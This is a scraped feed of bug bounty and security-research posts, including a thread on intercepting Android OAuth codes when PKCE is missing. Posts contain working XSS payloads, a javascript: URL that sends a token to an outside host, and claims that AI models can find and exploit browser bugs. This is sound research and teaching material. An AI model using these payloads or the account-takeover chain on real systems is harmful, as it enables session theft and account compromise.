Lil 0xRay

来年の事を言えば鬼が笑う

[Lil 0xRay @rayinaw]

Nothing kills hunting motivation faster than bad triager.
Dropped a detailed cross-tenant IDOR report + video.
Triager closing as NA because they literally skipped the main header in my steps. 🤷‍♂️
Totally lost all motivation to hunt. Time to close the Burp.

[Max Yaremchuk @0xw2w]

Freshworks HackerOne bug bounty program’s Critical bounty over time:
July 11, 2025: $3500
May 1, 2026: $2500
September 5, 2026: $1500
2027: Shawarma and a Sprite

[Redparsec @R3dpars3c]

Found a UXSS in Google Translate that allowed JavaScript execution on any domain with reflected input.

$8,500 bounty from Google. 🐛💰

Writeup → https://t.co/h8Oo4e3W2v

#BugBounty #XSS #UXSS
@Hacker0x01 @LiveOverflow @Bugcrowd @zseano @intigriti @InsiderPhD @yeswehack

[Yunus Emre Öztaş @ynsmroztas]

1/
Found a P2 account takeover on a bug bounty target: OAuth2 authorization code interception via custom URI scheme, with PKCE missing entirely.

Here's how to hunt this class on Android. 🧵

2/
Start in the manifest. Look for intent-filters registering a custom scheme for the OAuth callback:

<data android:scheme="myapp" android:host="oauth-callback"/>

Custom schemes are first-come, first-served on Android. Any app can claim the same one.

3/
That alone isn't the bug. The question is what protects the code in transit.

Grab the /authorize request and check for:
- code_challenge
- code_challenge_method=S256

Missing? The authorization code is a bearer secret with nothing binding it to the client.

4/
Now the chain:

1. Malicious app registers the same scheme
2. User authenticates legitimately
3. Android delivers the callback intent to the attacker's app
4. Attacker has code + a public client_id
5. Exchange for tokens → full ATO

No PKCE means step 5 just works.

5/
Runtime beats static here. Hook Intent.getData() and let the real flow run — you capture both halves as they actually happen:

- the authorize URL (proving no code_challenge)
- the callback intent (proving the code lands in an interceptable scheme)

That pairing is your entire PoC.

6/
Reporting tips that moved this to P2:

- Show the absence of PKCE params explicitly, don't just say "missing"
- Capture state in both requests — pre-empts the "CSRF protects it" objection
- Name the fix: PKCE S256 + App Links (autoVerify=true) instead of custom schemes

7/
Root cause is always the same: custom schemes were never a security boundary, and OAuth public clients on mobile need PKCE. RFC 8252 has said this since 2017.

Still shipping in production apps in 2026.

#BugBounty #InfoSec #android #AppSec #bugbountytip #bugbountytips #infosec #recon

[Lil 0xRay @rayinaw]

@Wild_Carrd @Bugcrowd hi, could u take a look at ur dms real quick? appreciate it!

[Lil 0xRay @rayinaw]

@Y4tacker Totally agree, self-evolving means nothing if your harness doesn't find anything.

[Lil 0xRay @rayinaw]

Working with Camofox makes it much easier for AI to exploit bugs that require authentication, especially BAC. My OpenCode + DeepSeek-V4-Pro setup helped me dig up some crazy bugs on a target recently. Try it, you won't believe the results!

[Raunak Gupta @OreoB1scuit]

nice article i read today https://t.co/s3CPlpJnIp

[b33f | 🇺🇦✊ @FuzzySec]

Quick POC using @nebusecurity CVE-2026-43499 to root my bootloader locked US S25 (SM-S931U1). Btw this works on latest fw. This phone is Android 16, June update.

https://t.co/uIIAzHwnB7

I have detailed notes on flashing, exploitation, offset finding etc, blog post later 🖖

[Lil 0xRay @rayinaw]

@OnlyTerp Which provider are you using for this GLM model?

[Jamie Hill-Daniel @clubby789]

I'll be giving a talk on a V8 exploit at DEFCON next month with @ryaagard and https://t.co/ExUzuPdKw8!

[­Mathias Karlsson @avlidienbrunn]

@kinugawamasato &lt;select&gt;
&lt;button&gt;
&lt;selectedcontent&gt;
&lt;button&gt;
&lt;option&gt;
&lt;script&gt;alert(1)

without "/"

[Masato Kinugawa @kinugawamasato]

so this can execute js without using "/", "=" and whitespaces. Wouldn't that be useful?!

&lt;!--XSS--&gt;
&lt;select&gt;
&lt;button&gt;&lt;selectedcontent&gt;
&lt;button&gt;
&lt;option&gt;
&lt;svg&gt;&lt;script&gt;alert()&lt;foo&gt;

&lt;!-- ↓ legitimate page content --&gt;
&lt;div foo="bar"&gt;baz&lt;/div&gt;
&lt;body&gt;
&lt;/html&gt;

[DROID @droidbuilds]

US AI labs: "China isn't even close."

Also US AI labs: 🇨🇳

[REDasm @re_dasm]

🧵1/6
REDasm Disassembler 4.0 BETA1 is available for download.

Version 4 is a complete redesign/rewrite with a brand new engine written in plain C.

- Source Code: https://t.co/rj7lHXiIdY
- Download: https://t.co/RS4giMPiwQ

#reverseengineering #binaryanalysis #opensource

[André Baptista @0xacb]

We've all been there: found an XSS, blocked by CSP.

There's a bunch of CSP bypasses that you can try by @renniepak:
https://t.co/0aA3GyIOVz

It has a compilation of bypasses, based on the exact CSP you're up against. 

Here’s a quick tutorial on how to use it 👇

[Sayed Abdelhafiz @dPhoeniixx]

Solution: javascript://httpbin.org/%0afetch('https://x.com/#');

When the Query is being added to the URL, it will look like: javascript://httpbin.org/%0afetch('https://x. com?token=SEC#');

The trick is using fragment (#) to ensure closing the function call

[Antonio Orionus @OrionusAI]

Free YouTube Downloader for Windows, macOS &amp; Linux
Free Open-Source
4K · 1080p60 · HDR · MP3 · Shorts · Subtitles · SponsorBlock
No ads, no login, no browser cookies, no Google account linked.

[derek @derekmeegan]

Introducing the /browser-trace skill,

Give your agent 100% observability into its browser: dump network requests, DOM content, screenshots, and CDP logs into a searchable filesystem.

Great for reverse engineering, autoresearch loops, and monitoring the situation ™️.

[Chaofan Shou @shoucccc]

Chinese LLMs can hack better than state-sponsored hackers with properly evolved harness -

Kimi K2.5 managed to find and exploit 6 vulnerabilities in browsers: a single page view or an extension install by victims equal full system hijack.

Check https://t.co/d0SZSf1KqF